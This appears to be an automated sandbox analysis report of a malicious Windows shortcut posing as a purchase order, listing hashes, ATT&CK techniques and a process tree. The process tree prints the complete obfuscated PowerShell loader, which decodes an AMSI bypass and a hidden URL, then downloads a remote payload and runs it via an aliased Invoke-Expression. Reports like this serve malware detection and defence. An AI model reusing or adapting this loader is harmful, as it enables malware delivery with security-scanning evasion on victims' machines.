8af31cc4f0936dcb289eb4474a4c14b05d6f62407e08964b293d3c3a3441d556

Analysis

max time kernel
93s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29-12-2024 05:28

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General

Target

Purchase order 76353 ALtan.lnk
Size

3KB
MD5

b4595b72f1d67c6062fd286be15aebd4
SHA1

87c2b6d575baa07f4d13a3332c8858983dbc3284
SHA256

55756cbf17c39876ec3bb2ca836ea9b55741622aafd3237d9ef2e971502d0d29
SHA512

16bd5d57e5e83d3f5f7202744063c6d7c05be69425b6758997c2f53c893d720809fb793639f7dde9451c3c3c1f409de8e3d4ebe0861bfd7740491cf74137a1b9

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	2260	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2260	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2260	powershell.exe
2260	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2260	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 448 wrote to memory of 2260	448	cmd.exe	84
PID 448 wrote to memory of 2260	448	cmd.exe	84

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Purchase order 76353 ALtan.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:448
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -WindowStyle 1 $na='';function mdpoig($yb){$rx=[Text.StringBuilder]::New();$od=11;for($eb=0;$eb -lt $yb.Length;$eb+=2){$qq=-join($yb.Substring($eb,2)[1,0]);[void]$rx.Append([char]([System.Convert]::ToUInt16($qq,16)+$od));};return $rx.ToString();};$ct=mdpoig '84E68696A5263224653665C5A526A536963263A69646266596E5463632632686E5A496E51686';$ww=mdpoig '652686E5E336E596B365E516A595';$zu=mdpoig '34463654A67516E5851284966596E585';try{[Ref].Assembly.GetType($ct).GetField($ww,$zu).SetValue($Null,$True)}catch{};;$dy='XEWIOIXVKWMS';sal xmd ($dy[3,1,0] -join(''));$dd=mdpoig 'D596965686F24242C6C6C632066516E556A516A68622756536F5657636A5C56576653295A5866532E59542B6A53695467642D5962616725695B5424585166586864246A6962262C2C2D2C2A26252D2523275E536';$is=[Net.WebRequest]::Create($dd);$nf=$is.GetResponse();$zd=$nf.GetResponseStream();$px=[IO.StreamReader]::New($zd);$du=$px.ReadToEnd() -replace '\r*\n','';xmd((mdpoig $du));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ehznjczj.dni.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2260-2-0x00007FF9FF643000-0x00007FF9FF645000-memory.dmp

Filesize
8KB

Download
memory/2260-8-0x0000022DF3000000-0x0000022DF3022000-memory.dmp

Filesize
136KB

Download
memory/2260-13-0x00007FF9FF640000-0x00007FFA00101000-memory.dmp

Filesize
10.8MB

Download
memory/2260-14-0x00007FF9FF640000-0x00007FFA00101000-memory.dmp

Filesize
10.8MB

Download
memory/2260-15-0x00007FF9FF640000-0x00007FFA00101000-memory.dmp

Filesize
10.8MB

Download
memory/2260-16-0x00007FF9FF640000-0x00007FFA00101000-memory.dmp

Filesize
10.8MB

Download
memory/2260-19-0x00007FF9FF640000-0x00007FFA00101000-memory.dmp

Filesize
10.8MB

Download